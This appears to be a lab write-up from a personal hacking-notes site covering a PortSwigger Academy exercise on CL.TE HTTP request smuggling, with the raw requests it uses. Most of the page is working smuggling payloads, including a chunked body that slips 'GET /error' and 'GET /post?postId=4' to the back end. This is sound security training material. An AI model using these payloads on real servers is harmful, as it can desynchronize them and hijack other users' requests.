> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).

# CL.TE Vulnerability Confirmation via Differential Responses

CL.TE Vulnerability Confirmation via Differential Responses notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation co

### HTTP Request Smuggling, Confirming a CL.TE Vulnerability via Differential Responses

This lab uses a front server and an internal server. The front server **does not handle chunked** encoding. / The objective is to **smuggle a request to the backend** so that the next request to **/** triggers a response **404 Not Found**.

> **Note:** Even if the lab accepts HTTP/2, the required method is usable only in HTTP/1. / **Tip:** Burp's HTTP Request Smuggler plugin helps automatically recalculate lengths.

#### Initial Observation

The front-end interprets **Content-Length**, while the back-end is based on **Transfer-Encoding**. / Sending a minimum request:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```

Then by adding a parameter, the length goes logically to 9:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9

test=test
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5ffe0e3b3d91b01fa2ba5e3dc4ec92c83248099%2F%7B751773DB-6956-43BE-97C5-9CCFB6D2E522%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

To avoid automatic recalculation of length, a new header is introduced.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcdf1b0cab6e2c4b4fb7339245f38299a0745b60%2F%7B7206813E-CDA2-44EC-9369-E94423B8F8AA%7D.png?alt=media" alt="" width="392"><figcaption></figcaption></figure>

#### Adding *Transfer-Encoding*

If we add:

```http
Transfer-Encoding: chunked
```

the server returns a desynchronization error:

HTTP/1.1 500 Internal Server Error

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-693b87841f21dd66217f6b4214fa99c12d193c91%2F%7BC171A1B3-15D7-4078-B870-5D1DDA3CACD0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

However, when sending a valid chunked payload:

```http
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eddb14097b8b5be818ff682cfc59f37d9f7443dd%2F%7BACA848F4-07C4-4180-9BC4-B99072B5697D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

the answer comes back in **200 OK**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0fbaba5ded40c0f47625177eb8b76c2e3620c5d%2F%7BA8E53A08-B664-4A50-B9BB-2F01E0632796%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We can also test:

```http
Content-Length: 5
Transfer-Encoding: chunked

0

```

#### Injection of a Request to the Backend

To obtain a **404**, you must force the back-end to process an additional request. / If one adds:

```http
GET /error HTTP/1.1
Test: A
```

and that the back-end correctly interprets the smuggled request, it executes the `GET /error`.

Full example:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

3
abc
0

GET /error HTTP/1.1
Test: A
```

The first answer is in **200**, but the next request sent by the browser triggers a **404**, proof of desynchronization.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff54afc7da5a8264ad5d4c057403bc8a82a845f0%2F%7B358FEBF5-1195-45B1-93C9-52F847AC52E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6e03c8f3707304ceda6e125a5453b91e91030ac%2F%7B11E01436-C59A-42F7-B100-5D6F83A83BB9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Variation: Run Another Page

If you want the backend to execute another resource, for example:

```http
GET /post?postId=4 HTTP/1.1
Test: A
```

then the main page will display the content corresponding to post 4, confirming that the smuggled query was processed by the back-end.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56ad6a46a031ec881d285bb4f758382bcb38a599%2F%7B6279EA55-8624-4BD1-9142-57FC93502AB2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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